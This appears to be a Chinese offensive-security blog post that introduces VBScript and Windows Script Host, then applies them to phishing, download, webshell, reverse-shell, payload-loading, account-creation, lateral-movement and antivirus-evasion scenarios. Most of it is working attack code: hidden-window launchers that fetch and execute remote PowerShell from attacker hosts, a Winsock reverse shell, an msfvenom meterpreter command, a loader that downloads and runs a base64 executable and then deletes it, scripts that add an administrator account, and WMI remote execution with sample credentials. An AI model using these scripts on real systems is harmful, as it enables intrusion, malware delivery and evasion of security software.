前言
学点老知识,可能有用也可能没啥用。不得学了才知道吗?
VBScript 简介
VBScript 是微软出品的一种脚本语言。不需要进行任何的编译,直接由宿主解释源代码并执行。
VBScript 使用
我们熟知的VBScript 广泛用于网页设计和ASP语言。其实VBScript可以通过windows 脚本宿主(WSH)调用COM,所以也可以在windows操作系统中处理文件、调用系统命令、调用COM接口、编写病毒、修改注册表等等。且扩展性比较强,在.wsf、.wsc、.hta、 .asp文件中都可以应用。
windows 脚本宿主
windows 脚本宿主(windows script host)简称WSH是一个windows管理工具。WSH是兼容各种脚本语言的宿主接口,处理各种 ActiveX 脚本引擎。也就是说如果使用使用VBScript、JScript,可以直接引入WSH。
Windows操作系统可以自动辨认和执行.VBS和.WSF这两种文件格式。
运行方式
WSH提供了两个用于执行脚本的接口。
cscript.exe 用于命令行中运行脚本
wscript.exe 用于在windows环境中运行脚本
通俗的说,就是cscript.exe从DOS窗口启动,wscript.exe与windows GUI交互执行。功能上没有差别。
内置对象
WSH包含一些核心的对象和方法,方便管理计算机。
WScript:WSH对象模型的基础
Argument 属性:传递的参数
CreateObject方法:创建了WshNetwork对象
Echo 方法:输出
Sleep方法 : 休息后再执行
WshShell:获取系统环境变量、访问 Windows 的特殊文件、修改注册表等等。
RegRead 方法:获取注册表某一项
Run 方法:运行某程序
Exec 方法:运行某程序
SendKeys 方法:模拟键盘
WshNetwork:提供对计算机所连接的网络上共享资源的访问
更多的核心的对象可以参考《WINDOWS脚本技术手册》《VBScript程序员参考手册》两本书。
VBScript 基础语法
Dim: 声明变量
MsgBox函数: 显示消息框
InputBox函数: 等待用户输入文本
Sub: 定义过程
call: 调用过程
&符号: 连接符
' 符号: 注释符
: 符号: 多行代码写成一行,要用冒号作为分隔符
OnError Resume Next: 代码出错依然执行
Run和Exec
WScript.Shell是WshShell对象的ProgID(程序标识符)。
WScript.Shell对象的Run和Exec两个方法都可以来运行程序,但也有区别。
Run 方法
有三个参数:
第一个参数是要执行程序的路径,
第二个参数是窗口的形式,0后台运行;1正常运行;2最小化;3最大化;缺省的话表示正常运行
第三个参数是表示这个脚本是等待还是继续执行,如果设为了True,脚本就会等待调用的程序退出后再向后执行。
Run 的返回值是一个整数,就0和1两种状态。
Exec 方法
运行一个程序,获取运行状态、获取PID,提供对StdIn、StdOut和StdErr流的访问,获取命令输出。
区别
- Run在运行文件时,会启动相关联的程序打开该文件(没有关联则出错);Exec只能运行程序。
- Run不仅可以直接运行位于path环境变量中的程序,还能运行在注册表中设置的程序"别名";Exec只能直接运行位于path环境变量中的程序。
- Run会等待程序运行结束后再执行后面的命令。
- Exec运行的程序路径中即使有空格,也可以正常运行;Run运行的程序路径必须使用双引号。(vbs中一个引号字符本身要用两个引号表示,写成"",或者使用chr(34)表示)
除了WScript.Shell组件可以执行系统命令外,vbs还有不同组件执行程序的多种方法。
具体参考:捡拾VBS应用层里的明珠
适用的场景
钓鱼场景
WScript的Run方法可以隐藏窗口,放在后台执行。我们可以结合IE浏览器的双杀漏洞(CVE-2018-8174 )获取系统权限。
Set objws = WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files (x86)\Internet Explorer\iexplore.exe""http://47.94.80.xxx/exploit.html",0
注意该IE双杀漏洞在win7 32位IE浏览器运行
或者结合powershell来隐藏窗口,直接在内存加载。隐蔽性、免杀性都很好。
set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 1000
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')",0,true)
下载文件场景
解读一下网上公开的vbs下载源代码:
Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
'创建MSXML2.XMLHTTP 对象
xmlhttp.Open "GET","http://47.94.80.xxx/ps/a.ps1",false
'GET方式发送请求,也可以设置为表单上传
xmlhttp.Send()
'send方法
‘wscript.echo "Status: " & xmlhttp.status
'wscript的echo方法,将结果输出到控制台
'xmlhttp的属性,返回状态码
'wscript.echo xmlhttp.responseText
'xmlhttp的属性,返回字符串
’wscript.echo xmlhttp.responseBody
'结果返回为无符号整数数组
Set aGet = CreateObject("ADODB.Stream")
'创建ADODB.Stream对象
aGet.Mode = 3
'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写
aGet.Type = 1
'type数据类型。默认2,文本类型,1代表二进制
aGet.Open()
'打开对象
aGet.Write(xmlhttp.responseBody)
'写二进制数据
aGet.SaveToFile "shell.ps1",2
'把对象的数据保存为文件,1不覆盖原文件,2覆盖原文件
'最后一句注释bypass
将上面代码修改为自定义获取url地址、保存的文件名。
down.vbs
Set a = Createobject("adodb.stream")
Set w = Createobject("microsoft.xmlhttp")
w.open "get",wscript.arguments(0),0
w.send
a.type = 1
a.open
a.write w.responsebody
a.savetofile wscript.arguments(1),2
运行命令
down.vbs http://47.94.80.xxx/ps/a.ps1 a.ps1
进一步修改为echo一句话。冒号将多行代码连接为一行;^转义字符解决在cmd下的输入。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wscript.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wscript.arguments(1),2 >> down.vbs
但是非常容易被查杀,修改为绕过360的代码,但因为vbscript没有块注释,需要不断echo进一个文件。
echo public function HexStr2ByteArr() >> down.txt
echo Set xmlhttp = CreateObject("MSXML2.XMLHTTP") >> down.txt
echo '创建MSXML2.XMLHTTP 对象 >> down.txt
echo xmlhttp.Open "GET",wscript.arguments(0),false >> down.txt
echo 'GET方式发送请求,也可以设置为表单上传 >> down.txt
echo xmlhttp.Send() >> down.txt
echo 'send方法 >> down.txt
echo Set aGet = CreateObject("ADODB.Stream") >> down.txt
echo '创建ADODB.Stream对象 >> down.txt
echo aGet.Mode = 3 >> down.txt
echo 'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写 >> down.txt
echo aGet.Type = 1 >> down.txt
echo 'type数据类型。默认2,文本类型,1代表二进制 >> down.txt
echo aGet.Open() >> down.txt
echo '打开对象 >> down.txt
echo aGet.Write(xmlhttp.responseBody) >> down.txt
echo '写二进制数据 >> down.txt
echo aGet.SaveToFile wscript.arguments(1),2 >> down.txt
echo '最后一句注释bypass >> down.txt
echo End Function >> down.txt
echo HexStr2ByteArr() >> down.txt
webshell场景
当在webshell里直接运行vbs时,实际是cscrpit.exe在运行该脚本。某些杀软会拦截cscript.exe该应用程序的调用。所以使用c语言的system函数对其进行封装。
代码如下:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char*argv[], char*envp[])
{
char buffer[100];
sprintf(buffer, "cscript.exe %s %s", argv[1], argv[2]);
system(buffer);
return 0;
}
反弹cmd场景
在网上原来的remote cmdshell上基础上仔细阅读代码后并尝试改写。
最终形成了这个low的代码。无法在实际中应用。因为nc反弹后需要输入命令,vbs只找到了InputBox函数,以弹出对话框的形式进行输入命令后发送。所有写的比较鸡肋。
贴出代码,方便学习吧。
cmdshell.vbs
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)
Set sock = Wscript.createobject("MSWINsock.Winsock")
sock.Protocol = 0
sock.RemoteHost = RemoteHost
sock.RemotePort = RemotePort
sock.Connect
Wscript.sleep 1000
if sock.state = 7 then
WScript.Echo "Connected to server."
Set ShellObj = WScript.CreateObject("WScript.Shell")
sock.SendData "Connected Success, Welcome!" & chr(13) & chr(10)
Wscript.sleep 1000
Do
Dim sRevData
sRevData = InputBox("please your send data")
a = (Split(sRevData, chr(10), -1, 1))
data = a(0)
Set ExecObj = ShellObj.Exec(data)
sock.SendData ExecObj.StdOut.ReadAll
sock.SendData ExecObj.StdErr.ReadAll
If sRevData <> "" Then
sock.SendData chr(10) & "[" & sock.LocalHostName & "@" & "cmd]#: "
End If
If Left(sRevData, 4) = "exit" Then
sock.Close
Exit Do
End If
Loop
Wscript.sleep 1000
end if
sock.Close
运行方式:
控制端
nc -l -v -p 4444
目标端
c:\Windows\SysWOW64\cscript.exe cmdshell.vbs 127.0.0.1 4444
这里解释一下:MSWinsock.Winsock是32位COM组件,在64位系统中存在两组不同的wscript.exe和cscript.exe,一组是64位的,在C:\Windows\System32 文件夹;一组是32位的,在C:\Windows\SysWOW64 文件夹。由于64位和32位的内存模式不同,64位进程无法加载32位DLL,所以DLL封装COM组件无法在64位进程中调用。在win7 上测试成功运行。
核心代码
Set sock = Wscript.createobject("MSWINsock.Winsock")
'创建Winsock对像
sock.Protocol = 0
'Protocol的值为0时,所创建的协议是TCP;值为1时,则创建的是UDP
sock.RemoteHost = "127.0.0.1"
sock.RemotePort = "4444"
sock.Connect
Wscript.sleep 1000
if sock.state = 7 then
'state 返回创建socket的对象状态
'7 表示已连接
sendata = "Hello!!!" & chr(13)
'定义要发送的数据
sock.senddata sendata
'发送数据
Wscript.sleep 100
end if
sock.Close
加载shellcode PE 场景
metasploit
借助metasploit,命令生成vbs木马。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.80.xxx LPORT=8080 EXITFUNC=thread -f vbs --arch x86 --platform win
阅读了一下vbs木马的源代码。就是通过将恶意的shellcodePE保存在创建的temp临时目录下并运行。这种老套路会容易被杀软检测到。
所以对先对代码进行改写,方便阅读和调试。
主要修改了加载shellcodePE的方式,改为远程下载后加载。
msf.vbs
Function Decode(strB64)
strXML = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
strB64 & "</B64DECODE>"
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML)
decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
'对shellcodePE进行base64解码
set oXMLDoc = nothing
End Function
Function writefile()
strFileURL = WScript.Arguments.Item(0)
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
shellcodePE = objXMLHTTP.responseText
'借助下载的思路,通过MSXML2.XMLHTTP下载shellcodePE
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
'msgbox tempexe
'保存在~\AppData\Local\Temp临时目录,并将shellcodePE写进test.exe文件
code = Decode(shellcodePE)
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write code
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe,0, true
'运行test.exe
fso.DeleteFile(tempexe)
'运行后删除
fso.DeleteFolder(basedir)
'运行后删除
Set fso = Nothing
End Function
writefile()
可过部分杀软。
然后考虑如何生成shellcodePE。也就是base64编码的exe文件。
powershell 就可以很方便做到。
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content shellcodePE.txt -Value $Base64Payload
再将shellcodePE放在远程服务器上,提供下载。
运行命令
msf.vbs http://10.211.55.4/appcms/shellcodePE.txt
如需绕过杀软反弹metasploit,将calc.exe替换为恶意exe即可。
Cobalt Strike
Cobalt Strike 是通过生成hta文件来实现vbscript。
在Packages的HTML Application中。
代码功能和metasploit差不多,都是将shellcode(16进制)保存在指定的exe文件里再运行。
添加系统账户场景
利用活动目录(ADSI)的winnt对象,添加管理员。不依靠CMD等命令。
Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://" & wsnetwork.ComputerName
'winnt对象用来管理本地资源
var = "/Administrators,group"
'定义变量来bypass
Set oe = GetObject(os & var)
Set od = GetObject(os).Create("user","cseroad")
'建立用户
od.SetPassword "123456"
'设置密码
od.SetInfo
'保存
Set of = GetObject(os&"/cseroad",user)
'得到用户
oe.add os & "/cseroad"
自定义输入添加的账户和密码
netuser.vbs
struser = wscript.arguments(0)
strpass = wscript.arguments(1)
Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://"&wsnetwork.ComputerName
var = "/Administrators,group"
Set oe = GetObject(os & var)
Set od = GetObject(os).Create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of = GetObject(os&"/"&struser&",user")
oe.add os & "/" & struser
命令为
netuser.vbs cseroad 123456
内网场景
我们都知道内网横向工具wmiexec.vbs的强大。对于WMI的操作,powershell和vbscript最为方便。WMI是windows管理规范,提供了操作系统的接口方便管理计算机。
详情参考微软官方文档 https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
这里简单看一下WMI是如何远程执行命令的。
vbsexec.vbs
If WScript.Arguments.Count = 4 Then
target = WScript.Arguments.Item(0)
username = WScript.Arguments.Item(1)
password = WScript.Arguments.Item(2)
command = WScript.Arguments.Item(3)
Else
Wscript.Echo "Usage: vbsexec.vbs target username password command"
Wscript.Quit
End If
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
'定义了SwbemLocator的实例
Set objSWbemServices = objSWbemLocator.ConnectServer _
(target, "root\cimv2", username, password)
'ConnectServer远程连接指定凭证
'该方法总共有8个参数
'可以本机使用,只需要设置前两个参数
'连接到远程计算机,需要设置前4个参数。root\CIMV2需要登录的CIM命名空间。
'command = "calc.exe"
Set objProcess = objSWbemServices.Get("Win32_Process")
'利用Win32_Process这个类创建一个进程
errReturn = objProcess.Create("cmd.exe /c " & command, , , intProcessID)
If errReturn = 0 Then
Wscript.Echo "Process started with ID: " & intProcessID
Else
Wscript.Echo "Process error"
End If
运行命令
vbsExec.vbs 172.16.111.113 administrator cseroad@2008 "net user admin 1234qwer.. /add"
免杀
编写vbscript调用powershell,并使用超长normal进行bypass
set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 100
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://106.53.xx.xx:82/a')",0,true)
再使用vbseditor编辑器编译为exe文件。免杀率也比较好。
总结
在某些方面vbscript的作用依然不可忽视。活学活用,多学点总是没错的。
如有错误请斧正。
参考资料
64位系统VBS调用32位COM组件
vbs 的 VBScript 打造自己的远程CMDShell附使用教程
用不同姿势复现 CVE-2018-8174 漏洞
使用vbs执行命令小tip
WMI的基础介绍在vbs中的使用方式